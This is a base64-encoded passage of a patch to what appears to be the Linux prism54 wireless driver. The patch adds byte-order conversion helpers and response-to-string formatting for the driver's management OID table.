XSA9CisJICAgIHsweDE3MDAwMDEyLCAwLCBzaXplb2YgKHN0cnVjdCBvYmpfZnJlcXVlbmNpZXMp CisJICAgICArIHNpemVvZiAodTE2KSAqIElXTUFYX0ZSRVEsIE9JRF9UWVBFX0ZSRVFVRU5DSUVT fSwKKworCU9JRF9VMzIoRE9UMTFfT0lEX05PSVNFRkxPT1IsIDB4MTcwMDAwMTMpLAorCU9JRF9T VFJVQ1QoRE9UMTFfT0lEX0ZSRVFVRU5DWUFDVElWSVRZLCAweDE3MDAwMDE0LCB1OFtJV01BWF9G UkVRICsgMV0sCisJCSAgIE9JRF9UWVBFX1JBVyksCisJT0lEX1VOS05PV04oRE9UMTFfT0lEX0lR Q0FMSUJSQVRJT05UQUJMRSwgMHgxNzAwMDAxNSksCisJT0lEX1UzMihET1QxMV9PSURfTk9ORVJQ UFJPVEVDVElPTiwgMHgxNzAwMDAxNiksCisJT0lEX1UzMihET1QxMV9PSURfU0xPVFNFVFRJTkdT LCAweDE3MDAwMDE3KSwKKwlPSURfVTMyKERPVDExX09JRF9OT05FUlBUSU1FT1VULCAweDE3MDAw MDE4KSwKKwlPSURfVTMyKERPVDExX09JRF9QUk9GSUxFUywgMHgxNzAwMDAxOSksCisJT0lEX1NU UlVDVChET1QxMV9PSURfRVhURU5ERURSQVRFUywgMHgxNzAwMDAyMCwKKwkJICAgdThbSVdNQVhf QklUUkFURVMgKyAxXSwgT0lEX1RZUEVfUkFXKSwKKworCU9JRF9TVFJVQ1RfTUxNRShET1QxMV9P SURfREVBVVRIRU5USUNBVEUsIDB4MTgwMDAwMDApLAorCU9JRF9TVFJVQ1RfTUxNRShET1QxMV9P SURfQVVUSEVOVElDQVRFLCAweDE4MDAwMDAxKSwKKwlPSURfU1RSVUNUX01MTUUoRE9UMTFfT0lE X0RJU0FTU09DSUFURSwgMHgxODAwMDAwMiksCisJT0lEX1NUUlVDVF9NTE1FKERPVDExX09JRF9B U1NPQ0lBVEUsIDB4MTgwMDAwMDMpLAorCU9JRF9VTktOT1dOKERPVDExX09JRF9TQ0FOLCAweDE4 MDAwMDA0KSwKKwlPSURfU1RSVUNUX01MTUVFWChET1QxMV9PSURfQkVBQ09OLCAweDE4MDAwMDA1 KSwKKwlPSURfU1RSVUNUX01MTUVFWChET1QxMV9PSURfUFJPQkUsIDB4MTgwMDAwMDYpLAorCU9J RF9TVFJVQ1RfTUxNRUVYKERPVDExX09JRF9ERUFVVEhFTlRJQ0FURUVYLCAweDE4MDAwMDA3KSwK KwlPSURfU1RSVUNUX01MTUVFWChET1QxMV9PSURfQVVUSEVOVElDQVRFRVgsIDB4MTgwMDAwMDgp LAorCU9JRF9TVFJVQ1RfTUxNRUVYKERPVDExX09JRF9ESVNBU1NPQ0lBVEVFWCwgMHgxODAwMDAw OSksCisJT0lEX1NUUlVDVF9NTE1FRVgoRE9UMTFfT0lEX0FTU09DSUFURUVYLCAweDE4MDAwMDBB KSwKKwlPSURfU1RSVUNUX01MTUVFWChET1QxMV9PSURfUkVBU1NPQ0lBVEUsIDB4MTgwMDAwMEIp LAorCU9JRF9TVFJVQ1RfTUxNRUVYKERPVDExX09JRF9SRUFTU09DSUFURUVYLCAweDE4MDAwMDBD KSwKKworCU9JRF9VMzIoRE9UMTFfT0lEX05PTkVSUFNUQVRVUywgMHgxRTAwMDAwMCksCisKKwlP SURfVTMyKERPVDExX09JRF9TVEFUSU1FT1VULCAweDE5MDAwMDAwKSwKKwlPSURfVTMyX0MoRE9U MTFfT0lEX01MTUVBVVRPTEVWRUwsIDB4MTkwMDAwMDEpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0JT U1RJTUVPVVQsIDB4MTkwMDAwMDIpLAorCU9JRF9VTktOT1dOKERPVDExX09JRF9BVFRBQ0hNRU5U LCAweDE5MDAwMDAzKSwKKwlPSURfU1RSVUNUX0MoRE9UMTFfT0lEX1BTTUJVRkZFUiwgMHgxOTAw MDAwNCwgc3RydWN0IG9ial9idWZmZXIsCisJCSAgICAgT0lEX1RZUEVfQlVGRkVSKSwKKworCU9J RF9VMzIoRE9UMTFfT0lEX0JTU1MsIDB4MUMwMDAwMDApLAorCVtET1QxMV9PSURfQlNTWF0gPSB7 MHgxQzAwMDAwMSwgNjMsIHNpemVvZiAoc3RydWN0IG9ial9ic3MpLAorCQkJICAgIE9JRF9UWVBF X0JTU30sCS8qRE9UMTFfT0lEX0JTUzEsLi4uLERPVDExX09JRF9CU1M2NCAqLworCU9JRF9TVFJV Q1QoRE9UMTFfT0lEX0JTU0ZJTkQsIDB4MUMwMDAwNDIsIHN0cnVjdCBvYmpfYnNzLCBPSURfVFlQ RV9CU1MpLAogCVtET1QxMV9PSURfQlNTTElTVF0gPSB7MHgxQzAwMDA0MywgMCwgc2l6ZW9mIChz dHJ1Y3QKIAkJCQkJCSAgICAgIG9ial9ic3NsaXN0KSArCi0JCQkgICAgICAgc2l6ZW9mIChzdHJ1 Y3Qgb2JqX2Jzc1tJV01BWF9CU1NdKSwgMH0sCisJCQkgICAgICAgc2l6ZW9mIChzdHJ1Y3Qgb2Jq X2Jzc1tJV01BWF9CU1NdKSwKKwkJCSAgICAgICBPSURfVFlQRV9CU1NMSVNUfSwKIAotCVtPSURf SU5MX1RVTk5FTF0gPSBPSURfVU5LTk9XTigweEZGMDIwMDAwKSwKLQlbT0lEX0lOTF9NRU1BRERS XSA9IE9JRF9VTktOT1dOKDB4RkYwMjAwMDEpLAotCVtPSURfSU5MX01FTU9SWV0gPSBPSURfVU5L Tk9XTigweEZGMDIwMDAyKSwKLQlbT0lEX0lOTF9NT0RFXSA9IE9JRF9VMzJfQygweEZGMDIwMDAz KSwKLQlbT0lEX0lOTF9DT01QT05FTlRfTlJdID0gT0lEX1VOS05PV04oMHhGRjAyMDAwNCksCi0J W09JRF9JTkxfVkVSU0lPTl0gPSBPSURfVU5LTk9XTigweEZGMDIwMDA1KSwKLQlbT0lEX0lOTF9J TlRFUkZBQ0VfSURdID0gT0lEX1VOS05PV04oMHhGRjAyMDAwNiksCi0JW09JRF9JTkxfQ09NUE9O RU5UX0lEXSA9IE9JRF9VTktOT1dOKDB4RkYwMjAwMDcpLAotCVtPSURfSU5MX0NPTkZJR10gPSBP SURfVTMyX0MoMHhGRjAyMDAwOCksCi0JW09JRF9JTkxfRE9UMTFEX0NPTkZPUk1BTkNFXSA9IE9J RF9VMzJfQygweEZGMDIwMDBDKSwKLQlbT0lEX0lOTF9QSFlDQVBBQklMSVRJRVNdID0gT0lEX1Uz MigweEZGMDIwMDBEKSwKLQlbT0lEX0lOTF9PVVRQVVRQT1dFUl0gPSBPSURfVTMyX0MoMHhGRjAy MDAwRiksCisJT0lEX1VOS05PV04oT0lEX0lOTF9UVU5ORUwsIDB4RkYwMjAwMDApLAorCU9JRF9V TktOT1dOKE9JRF9JTkxfTUVNQUREUiwgMHhGRjAyMDAwMSksCisJT0lEX1VOS05PV04oT0lEX0lO TF9NRU1PUlksIDB4RkYwMjAwMDIpLAorCU9JRF9VMzJfQyhPSURfSU5MX01PREUsIDB4RkYwMjAw MDMpLAorCU9JRF9VTktOT1dOKE9JRF9JTkxfQ09NUE9ORU5UX05SLCAweEZGMDIwMDA0KSwKKwlP SURfVU5LTk9XTihPSURfSU5MX1ZFUlNJT04sIDB4RkYwMjAwMDUpLAorCU9JRF9VTktOT1dOKE9J RF9JTkxfSU5URVJGQUNFX0lELCAweEZGMDIwMDA2KSwKKwlPSURfVU5LTk9XTihPSURfSU5MX0NP TVBPTkVOVF9JRCwgMHhGRjAyMDAwNyksCisJT0lEX1UzMl9DKE9JRF9JTkxfQ09ORklHLCAweEZG MDIwMDA4KSwKKwlPSURfVTMyX0MoT0lEX0lOTF9ET1QxMURfQ09ORk9STUFOQ0UsIDB4RkYwMjAw MEMpLAorCU9JRF9VMzIoT0lEX0lOTF9QSFlDQVBBQklMSVRJRVMsIDB4RkYwMjAwMEQpLAorCU9J RF9VMzJfQyhPSURfSU5MX09VVFBVVFBPV0VSLCAweEZGMDIwMDBGKSwKIAogfTsKIApAQCAtMjU3 LDYgKzI2NCwxMzQgQEAKIAlwcml2LT5taWIgPSBOVUxMOwogfQogCit2b2lkCittZ3RfbGVfdG9f Y3B1KGludCB0eXBlLCB2b2lkICpkYXRhKQoreworCXN3aXRjaCAodHlwZSkgeworCWNhc2UgT0lE X1RZUEVfVTMyOgorCQkqKHUzMiAqKSBkYXRhID0gbGUzMl90b19jcHUoKih1MzIgKikgZGF0YSk7 CisJCWJyZWFrOworCWNhc2UgT0lEX1RZUEVfQlVGRkVSOnsKKwkJCXN0cnVjdCBvYmpfYnVmZmVy ICpidWZmID0gZGF0YTsKKwkJCWJ1ZmYtPnNpemUgPSBsZTMyX3RvX2NwdShidWZmLT5zaXplKTsK KwkJCWJ1ZmYtPmFkZHIgPSBsZTMyX3RvX2NwdShidWZmLT5hZGRyKTsKKwkJCWJyZWFrOworCQl9 CisJY2FzZSBPSURfVFlQRV9CU1M6eworCQkJc3RydWN0IG9ial9ic3MgKmJzcyA9IGRhdGE7CisJ CQlic3MtPmFnZSA9IGxlMTZfdG9fY3B1KGJzcy0+YWdlKTsKKwkJCWJzcy0+Y2hhbm5lbCA9IGxl MTZfdG9fY3B1KGJzcy0+Y2hhbm5lbCk7CisJCQlic3MtPmNhcGluZm8gPSBsZTE2X3RvX2NwdShi c3MtPmNhcGluZm8pOworCQkJYnNzLT5yYXRlcyA9IGxlMTZfdG9fY3B1KGJzcy0+cmF0ZXMpOwor CQkJYnNzLT5iYXNpY19yYXRlcyA9IGxlMTZfdG9fY3B1KGJzcy0+YmFzaWNfcmF0ZXMpOworCQkJ YnJlYWs7CisJCX0KKwljYXNlIE9JRF9UWVBFX0JTU0xJU1Q6eworCQkJc3RydWN0IG9ial9ic3Ns aXN0ICpsaXN0ID0gZGF0YTsKKwkJCWludCBpOworCQkJbGlzdC0+bnIgPSBsZTMyX3RvX2NwdShs aXN0LT5ucik7CisJCQlmb3IgKGkgPSAwOyBpIDwgbGlzdC0+bnI7IGkrKykKKwkJCQltZ3RfbGVf dG9fY3B1KE9JRF9UWVBFX0JTUywgJmxpc3QtPmJzc2xpc3RbaV0pOworCQkJYnJlYWs7CisJCX0K KwljYXNlIE9JRF9UWVBFX0ZSRVFVRU5DSUVTOnsKKwkJCXN0cnVjdCBvYmpfZnJlcXVlbmNpZXMg KmZyZXEgPSBkYXRhOworCQkJaW50IGk7CisJCQlmcmVxLT5uciA9IGxlMTZfdG9fY3B1KGZyZXEt Pm5yKTsKKwkJCWZvciAoaSA9IDA7IGkgPCBmcmVxLT5ucjsgaSsrKQorCQkJCWZyZXEtPm1oeltp XSA9IGxlMTZfdG9fY3B1KGZyZXEtPm1oeltpXSk7CisJCQlicmVhazsKKwkJfQorCWNhc2UgT0lE X1RZUEVfTUxNRTp7CisJCQlzdHJ1Y3Qgb2JqX21sbWUgKm1sbWUgPSBkYXRhOworCQkJbWxtZS0+ aWQgPSBsZTE2X3RvX2NwdShtbG1lLT5pZCk7CisJCQltbG1lLT5zdGF0ZSA9IGxlMTZfdG9fY3B1 KG1sbWUtPnN0YXRlKTsKKwkJCW1sbWUtPmNvZGUgPSBsZTE2X3RvX2NwdShtbG1lLT5jb2RlKTsK KwkJCWJyZWFrOworCQl9CisJY2FzZSBPSURfVFlQRV9NTE1FRVg6eworCQkJc3RydWN0IG9ial9t bG1lZXggKm1sbWUgPSBkYXRhOworCQkJbWxtZS0+aWQgPSBsZTE2X3RvX2NwdShtbG1lLT5pZCk7 CisJCQltbG1lLT5zdGF0ZSA9IGxlMTZfdG9fY3B1KG1sbWUtPnN0YXRlKTsKKwkJCW1sbWUtPmNv ZGUgPSBsZTE2X3RvX2NwdShtbG1lLT5jb2RlKTsKKwkJCW1sbWUtPnNpemUgPSBsZTE2X3RvX2Nw dShtbG1lLT5zaXplKTsKKwkJCWJyZWFrOworCQl9CisJY2FzZSBPSURfVFlQRV9TU0lEOgorCWNh c2UgT0lEX1RZUEVfS0VZOgorCWNhc2UgT0lEX1RZUEVfQUREUjoKKwljYXNlIE9JRF9UWVBFX1JB VzoKKwkJYnJlYWs7CisJZGVmYXVsdDoKKwkJQlVHKCk7CisJfQorfQorCitzdGF0aWMgdm9pZAor bWd0X2NwdV90b19sZShpbnQgdHlwZSwgdm9pZCAqZGF0YSkKK3sKKwlzd2l0Y2ggKHR5cGUpIHsK KwljYXNlIE9JRF9UWVBFX1UzMjoKKwkJKih1MzIgKikgZGF0YSA9IGNwdV90b19sZTMyKCoodTMy ICopIGRhdGEpOworCQlicmVhazsKKwljYXNlIE9JRF9UWVBFX0JVRkZFUjp7CisJCQlzdHJ1Y3Qg b2JqX2J1ZmZlciAqYnVmZiA9IGRhdGE7CisJCQlidWZmLT5zaXplID0gY3B1X3RvX2xlMzIoYnVm Zi0+c2l6ZSk7CisJCQlidWZmLT5hZGRyID0gY3B1X3RvX2xlMzIoYnVmZi0+YWRkcik7CisJCQli cmVhazsKKwkJfQorCWNhc2UgT0lEX1RZUEVfQlNTOnsKKwkJCXN0cnVjdCBvYmpfYnNzICpic3Mg PSBkYXRhOworCQkJYnNzLT5hZ2UgPSBjcHVfdG9fbGUxNihic3MtPmFnZSk7CisJCQlic3MtPmNo YW5uZWwgPSBjcHVfdG9fbGUxNihic3MtPmNoYW5uZWwpOworCQkJYnNzLT5jYXBpbmZvID0gY3B1 X3RvX2xlMTYoYnNzLT5jYXBpbmZvKTsKKwkJCWJzcy0+cmF0ZXMgPSBjcHVfdG9fbGUxNihic3Mt PnJhdGVzKTsKKwkJCWJzcy0+YmFzaWNfcmF0ZXMgPSBjcHVfdG9fbGUxNihic3MtPmJhc2ljX3Jh dGVzKTsKKwkJCWJyZWFrOworCQl9CisJY2FzZSBPSURfVFlQRV9CU1NMSVNUOnsKKwkJCXN0cnVj dCBvYmpfYnNzbGlzdCAqbGlzdCA9IGRhdGE7CisJCQlpbnQgaTsKKwkJCWxpc3QtPm5yID0gY3B1 X3RvX2xlMzIobGlzdC0+bnIpOworCQkJZm9yIChpID0gMDsgaSA8IGxpc3QtPm5yOyBpKyspCisJ CQkJbWd0X2NwdV90b19sZShPSURfVFlQRV9CU1MsICZsaXN0LT5ic3NsaXN0W2ldKTsKKwkJCWJy ZWFrOworCQl9CisJY2FzZSBPSURfVFlQRV9GUkVRVUVOQ0lFUzp7CisJCQlzdHJ1Y3Qgb2JqX2Zy ZXF1ZW5jaWVzICpmcmVxID0gZGF0YTsKKwkJCWludCBpOworCQkJZnJlcS0+bnIgPSBjcHVfdG9f bGUxNihmcmVxLT5ucik7CisJCQlmb3IgKGkgPSAwOyBpIDwgZnJlcS0+bnI7IGkrKykKKwkJCQlm cmVxLT5taHpbaV0gPSBjcHVfdG9fbGUxNihmcmVxLT5taHpbaV0pOworCQkJYnJlYWs7CisJCX0K KwljYXNlIE9JRF9UWVBFX01MTUU6eworCQkJc3RydWN0IG9ial9tbG1lICptbG1lID0gZGF0YTsK KwkJCW1sbWUtPmlkID0gY3B1X3RvX2xlMTYobWxtZS0+aWQpOworCQkJbWxtZS0+c3RhdGUgPSBj cHVfdG9fbGUxNihtbG1lLT5zdGF0ZSk7CisJCQltbG1lLT5jb2RlID0gY3B1X3RvX2xlMTYobWxt ZS0+Y29kZSk7CisJCQlicmVhazsKKwkJfQorCWNhc2UgT0lEX1RZUEVfTUxNRUVYOnsKKwkJCXN0 cnVjdCBvYmpfbWxtZWV4ICptbG1lID0gZGF0YTsKKwkJCW1sbWUtPmlkID0gY3B1X3RvX2xlMTYo bWxtZS0+aWQpOworCQkJbWxtZS0+c3RhdGUgPSBjcHVfdG9fbGUxNihtbG1lLT5zdGF0ZSk7CisJ CQltbG1lLT5jb2RlID0gY3B1X3RvX2xlMTYobWxtZS0+Y29kZSk7CisJCQltbG1lLT5zaXplID0g Y3B1X3RvX2xlMTYobWxtZS0+c2l6ZSk7CisJCQlicmVhazsKKwkJfQorCWNhc2UgT0lEX1RZUEVf U1NJRDoKKwljYXNlIE9JRF9UWVBFX0tFWToKKwljYXNlIE9JRF9UWVBFX0FERFI6CisJY2FzZSBP SURfVFlQRV9SQVc6CisJCWJyZWFrOworCWRlZmF1bHQ6CisJCUJVRygpOworCX0KK30KKworLyog Tm90ZSA6IGRhdGEgaXMgbW9kaWZpZWQgZHVyaW5nIHRoaXMgZnVuY3Rpb24gKi8KKwogaW50CiBt Z3Rfc2V0X3JlcXVlc3QoaXNscGNpX3ByaXZhdGUgKnByaXYsIGVudW0gb2lkX251bV90IG4sIGlu dCBleHRyYSwgdm9pZCAqZGF0YSkKIHsKQEAgLTI2NSw3ICs0MDAsNyBAQAogCWludCByZXNwb25z ZV9vcCA9IFBJTUZPUl9PUF9FUlJPUjsKIAlpbnQgZGxlbjsKIAl2b2lkICpjYWNoZSwgKl9kYXRh ID0gZGF0YTsKLQl1MzIgb2lkLCB1OworCXUzMiBvaWQ7CiAKIAlCVUdfT04oT0lEX05VTV9MQVNU IDw9IG4pOwogCUJVR19PTihleHRyYSA+IGlzbF9vaWRbbl0ucmFuZ2UpOwpAQCAtMjc5LDEzICs0 MTQsMTEgQEAKIAljYWNoZSArPSAoY2FjaGUgPyBleHRyYSAqIGRsZW4gOiAwKTsKIAlvaWQgPSBp c2xfb2lkW25dLm9pZCArIGV4dHJhOwogCi0JaWYgKGRhdGEgPT0gTlVMTCkKKwlpZiAoX2RhdGEg PT0gTlVMTCkKIAkJLyogd2UgYXJlIHJlcXVlc3RlZCB0byByZS1zZXQgYSBjYWNoZWQgdmFsdWUg Ki8KIAkJX2RhdGEgPSBjYWNoZTsKLQlpZiAoKGlzbF9vaWRbbl0uZmxhZ3MgJiBPSURfRkxBR19V MzIpICYmIGRhdGEpIHsKLQkJdSA9IGNwdV90b19sZTMyKCoodTMyICopIGRhdGEpOwotCQlfZGF0 YSA9ICZ1OwotCX0KKwllbHNlCisJCW1ndF9jcHVfdG9fbGUoaXNsX29pZFtuXS5mbGFncyAmIE9J RF9GTEFHX1RZUEUsIF9kYXRhKTsKIAkvKiBJZiB3ZSBhcmUgZ29pbmcgdG8gd3JpdGUgdG8gdGhl IGNhY2hlLCB3ZSBkb24ndCB3YW50IGFueW9uZSB0byByZWFkCiAJICogaXQgLT4gYWNxdWlyZSB3 cml0ZSBsb2NrLgogCSAqIEVsc2Ugd2UgY291bGQgYWNxdWlyZSBhIHJlYWQgbG9jayB0byBiZSBz dXJlIHdlIGRvbid0IGJvdGhlciB0aGUKQEAgLTMxMyw2ICs0NDYsMTAgQEAKIAkJdXBfd3JpdGUo JnByaXYtPm1pYl9zZW0pOwogCX0KIAorCS8qIHJlLXNldCBnaXZlbiBkYXRhIHRvIHdoYXQgaXQg d2FzICovCisJaWYgKGRhdGEpCisJCW1ndF9sZV90b19jcHUoaXNsX29pZFtuXS5mbGFncyAmIE9J RF9GTEFHX1RZUEUsIGRhdGEpOworCiAJcmV0dXJuIHJldDsKIH0KIApAQCAtMzI2LDcgKzQ2Myw3 IEBACiAJc3RydWN0IGlzbHBjaV9tZ210ZnJhbWUgKnJlc3BvbnNlID0gTlVMTDsKIAkKIAlpbnQg ZGxlbjsKLQl2b2lkICpjYWNoZSwgKl9yZXM9TlVMTDsKKwl2b2lkICpjYWNoZSwgKl9yZXMgPSBO VUxMOwogCXUzMiBvaWQ7CiAKIAlCVUdfT04oT0lEX05VTV9MQVNUIDw9IG4pOwpAQCAtMzYyLDIw ICs0OTksMTkgQEAKIAkJX3JlcyA9IGNhY2hlOwogCQlyZXQgPSAwOwogCX0KLQlpZiAoaXNsX29p ZFtuXS5mbGFncyAmIE9JRF9GTEFHX1UzMikgewotCQlpZiAocmV0KQotCQkJcmVzLT51ID0gMDsK LQkJZWxzZQotCQkJcmVzLT51ID0gbGUzMl90b19jcHUoKih1MzIgKikgX3Jlcyk7Ci0JfSBlbHNl IHsKKwlpZiAoKGlzbF9vaWRbbl0uZmxhZ3MgJiBPSURfRkxBR19UWVBFKSA9PSBPSURfVFlQRV9V MzIpCisJCXJlcy0+dSA9IHJldCA/IDAgOiBsZTMyX3RvX2NwdSgqKHUzMiAqKSBfcmVzKTsKKwll bHNlIHsKIAkJcmVzLT5wdHIgPSBrbWFsbG9jKHJlc2xlbiwgR0ZQX0tFUk5FTCk7CiAJCUJVR19P TihyZXMtPnB0ciA9PSBOVUxMKTsKIAkJaWYgKHJldCkKIAkJCW1lbXNldChyZXMtPnB0ciwgMCwg cmVzbGVuKTsKLQkJZWxzZQorCQllbHNlIHsKIAkJCW1lbWNweShyZXMtPnB0ciwgX3JlcywgcmVz bGVuKTsKKwkJCW1ndF9sZV90b19jcHUoaXNsX29pZFtuXS5mbGFncyAmIE9JRF9GTEFHX1RZUEUs CisJCQkJICAgICAgcmVzLT5wdHIpOworCQl9CiAJfQotCiAJaWYgKGNhY2hlKQogCQl1cF9yZWFk KCZwcml2LT5taWJfc2VtKTsKIApAQCAtNDA0LDcgKzU0MCw3IEBACiAJCWludCBqID0gMDsKIAkJ dTMyIG9pZCA9IHQtPm9pZDsKIAkJQlVHX09OKGRhdGEgPT0gTlVMTCk7Ci0JCXdoaWxlIChqIDw9 IHQtPnJhbmdlKXsKKwkJd2hpbGUgKGogPD0gdC0+cmFuZ2UpIHsKIAkJCXJlc3BvbnNlID0gTlVM TDsKIAkJCXJldCB8PSBpc2xwY2lfbWd0X3RyYW5zYWN0aW9uKHByaXYtPm5kZXYsIFBJTUZPUl9P UF9TRVQsCiAJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvaWQsIGRhdGEsIHQtPnNp emUsCkBAIC00MzEsMTMgKzU2NywxMCBAQAogCUJVR19PTihwcml2LT5taWJbbl0gPT0gTlVMTCk7 CiAKIAltZW1jcHkocHJpdi0+bWliW25dLCBkYXRhLCBpc2xfb2lkW25dLnNpemUpOwotCWlmIChp c2xfb2lkW25dLmZsYWdzICYgT0lEX0ZMQUdfVTMyKQotCQkqKHUzMiAqKSBwcml2LT5taWJbbl0g PSBjcHVfdG9fbGUzMigqKHUzMiAqKSBwcml2LT5taWJbbl0pOworCW1ndF9jcHVfdG9fbGUoaXNs X29pZFtuXS5mbGFncyAmIE9JRF9GTEFHX1RZUEUsIHByaXYtPm1pYltuXSk7CiB9CiAKLS8qIENv bW1pdHMgdGhlIGNhY2hlLiBJZiBzb21ldGhpbmcgZ29lcyB3cm9uZywgaXQgcmVzdGFydHMgdGhl IGRldmljZS4gTG9jawotICogb3V0c2lkZQotICovCisvKiBDb21taXRzIHRoZSBjYWNoZS4gTG9j ayBvdXRzaWRlLiAqLwogCiBzdGF0aWMgZW51bSBvaWRfbnVtX3QgY29tbWl0X3BhcnQxW10gPSB7 CiAJT0lEX0lOTF9DT05GSUcsCkBAIC01MzAsMyArNjYzLDEwMiBAQAogCiAJcmV0dXJuIDA7CiB9 CisKK2ludAorbWd0X3Jlc3BvbnNlX3RvX3N0cihlbnVtIG9pZF9udW1fdCBuLCB1bmlvbiBvaWRf cmVzX3QgKnIsIGNoYXIgKnN0cikKK3sKKwlzd2l0Y2ggKGlzbF9vaWRbbl0uZmxhZ3MgJiBPSURf RkxBR19UWVBFKSB7CisJY2FzZSBPSURfVFlQRV9VMzI6CisJCXJldHVybiBzbnByaW50ZihzdHIs IFBSSVZfU1RSX1NJWkUsICIldVxuIiwgci0+dSk7CisJCWJyZWFrOworCWNhc2UgT0lEX1RZUEVf QlVGRkVSOnsKKwkJCXN0cnVjdCBvYmpfYnVmZmVyICpidWZmID0gci0+cHRyOworCQkJcmV0dXJu IHNucHJpbnRmKHN0ciwgUFJJVl9TVFJfU0laRSwKKwkJCQkJInNpemU9JXVcbmFkZHI9MHglWFxu IiwgYnVmZi0+c2l6ZSwKKwkJCQkJYnVmZi0+YWRkcik7CisJCX0KKwkJYnJlYWs7CisJY2FzZSBP SURfVFlQRV9CU1M6eworCQkJc3RydWN0IG9ial9ic3MgKmJzcyA9IHItPnB0cjsKKwkJCXJldHVy biBzbnByaW50ZihzdHIsIFBSSVZfU1RSX1NJWkUsCisJCQkJCSJhZ2U9JXVcbmNoYW5uZWw9JXVc blwKKwkJCQkgICAgICAgIGNhcGluZm89MHglWFxucmF0ZXM9MHglWFxuYmFzaWNfcmF0ZXM9MHgl WFxuIiwgYnNzLT5hZ2UsIGJzcy0+Y2hhbm5lbCwgYnNzLT5jYXBpbmZvLCBic3MtPnJhdGVzLCBi c3MtPmJhc2ljX3JhdGVzKTsKKwkJfQorCQlicmVhazsKKwljYXNlIE9JRF9UWVBFX0JTU0xJU1Q6 eworCQkJc3RydWN0IG9ial9ic3NsaXN0ICpsaXN0ID0gci0+cHRyOworCQkJaW50IGksIGs7CisJ CQlrID0gc25wcmludGYoc3RyLCBQUklWX1NUUl9TSVpFLCAibnI9JXVcbiIsIGxpc3QtPm5yKTsK KwkJCWZvciAoaSA9IDA7IGkgPCBsaXN0LT5ucjsgaSsrKQorCQkJCWsgKz0gc25wcmludGYoc3Ry ICsgaywgUFJJVl9TVFJfU0laRSAtIGssCisJCQkJCSAgICAgICJic3NbJXVdIDogXG5hZ2U9JXVc bmNoYW5uZWw9JXVcbmNhcGluZm89MHglWFxucmF0ZXM9MHglWFxuYmFzaWNfcmF0ZXM9MHglWFxu IiwKKwkJCQkJICAgICAgaSwgbGlzdC0+YnNzbGlzdFtpXS5hZ2UsCisJCQkJCSAgICAgIGxpc3Qt PmJzc2xpc3RbaV0uY2hhbm5lbCwKKwkJCQkJICAgICAgbGlzdC0+YnNzbGlzdFtpXS5jYXBpbmZv LAorCQkJCQkgICAgICBsaXN0LT5ic3NsaXN0W2ldLnJhdGVzLAorCQkJCQkgICAgICBsaXN0LT5i c3NsaXN0W2ldLmJhc2ljX3JhdGVzKTsKKwkJCXJldHVybiBrOworCQl9CisJCWJyZWFrOworCWNh c2UgT0lEX1RZUEVfRlJFUVVFTkNJRVM6eworCQkJc3RydWN0IG9ial9mcmVxdWVuY2llcyAqZnJl cSA9IHItPnB0cjsKKwkJCWludCBpLCB0OworCQkJcHJpbnRrKCJuciA6ICV1XG4iLCBmcmVxLT5u cik7CisJCQl0ID0gc25wcmludGYoc3RyLCBQUklWX1NUUl9TSVpFLCAibnI9JXVcbiIsIGZyZXEt Pm5yKTsKKwkJCWZvciAoaSA9IDA7IGkgPCBmcmVxLT5ucjsgaSsrKQorCQkJCXQgKz0gc25wcmlu dGYoc3RyICsgdCwgUFJJVl9TVFJfU0laRSAtIHQsCisJCQkJCSAgICAgICJtaHpbJXVdPSV1XG4i LCBpLCBmcmVxLT5taHpbaV0pOworCQkJcmV0dXJuIHQ7CisJCX0KKwkJYnJlYWs7CisJY2FzZSBP SURfVFlQRV9NTE1FOnsKKwkJCXN0cnVjdCBvYmpfbWxtZSAqbWxtZSA9IHItPnB0cjsKKwkJCXJl dHVybiBzbnByaW50ZihzdHIsIFBSSVZfU1RSX1NJWkUsICJpZD0weCVYXG5zdGF0ZT0weCVYXG5c CisJCQkgICAgICAgICBjb2RlPTB4JVhcbiIsIG1sbWUtPmlkLCBtbG1lLT5zdGF0ZSwKKwkJCQkJ bWxtZS0+Y29kZSk7CisJCX0KKwkJYnJlYWs7CisJY2FzZSBPSURfVFlQRV9NTE1FRVg6eworCQkJ c3RydWN0IG9ial9tbG1lZXggKm1sbWUgPSByLT5wdHI7CisJCQlyZXR1cm4gc25wcmludGYoc3Ry LCBQUklWX1NUUl9TSVpFLCAiaWQ9MHglWFxuc3RhdGU9MHglWFxuXAorCQkJICAgICAgICAgY29k ZT0weCVYXG5zaXplPTB4JVhcbiIsIG1sbWUtPmlkLCBtbG1lLT5zdGF0ZSwKKwkJCQkJbWxtZS0+ Y29kZSwgbWxtZS0+c2l6ZSk7CisJCX0KKwkJYnJlYWs7CisJY2FzZSBPSURfVFlQRV9TU0lEOnsK KwkJCXN0cnVjdCBvYmpfc3NpZCAqc3NpZCA9IHItPnB0cjsKKwkJCXJldHVybiBzbnByaW50Zihz dHIsIFBSSVZfU1RSX1NJWkUsCisJCQkJCSJsZW5ndGg9JXVcbm9jdGV0cz0lc1xuIiwKKwkJCQkJ c3NpZC0+bGVuZ3RoLCBzc2lkLT5vY3RldHMpOworCQl9CisJCWJyZWFrOworCWNhc2UgT0lEX1RZ UEVfS0VZOnsKKwkJCXN0cnVjdCBvYmpfa2V5ICprZXkgPSByLT5wdHI7CisJCQlpbnQgdCwgaTsK KwkJCXQgPSBzbnByaW50ZihzdHIsIFBSSVZfU1RSX1NJWkUsCisJCQkJICAgICAidHlwZT0weCVY XG5sZW5ndGg9MHglWFxua2V5PTB4IiwKKwkJCQkgICAgIGtleS0+dHlwZSwga2V5LT5sZW5ndGgp OworCQkJZm9yIChpID0gMDsgaSA8IGtleS0+bGVuZ3RoOyBpKyspCisJCQkJdCArPSBzbnByaW50 ZihzdHIgKyB0LCBQUklWX1NUUl9TSVpFIC0gdCwKKwkJCQkJICAgICAgIiUwMlg6Iiwga2V5LT5r ZXlbaV0pOworCQkJdCArPSBzbnByaW50ZihzdHIgKyB0LCBQUklWX1NUUl9TSVpFIC0gdCwgIlxu Iik7CisJCQlyZXR1cm4gdDsKKwkJfQorCQlicmVhazsKKwljYXNlIE9JRF9UWVBFX1JBVzoKKwlj YXNlIE9JRF9UWVBFX0FERFI6eworCQkJdW5zaWduZWQgY2hhciAqYnVmZiA9IHItPnB0cjsKKwkJ CWludCB0LCBpOworCQkJdCA9IHNucHJpbnRmKHN0ciwgUFJJVl9TVFJfU0laRSwgImhleCBkYXRh PSIpOworCQkJZm9yIChpID0gMDsgaSA8IGlzbF9vaWRbbl0uc2l6ZTsgaSsrKQorCQkJCXQgKz0g 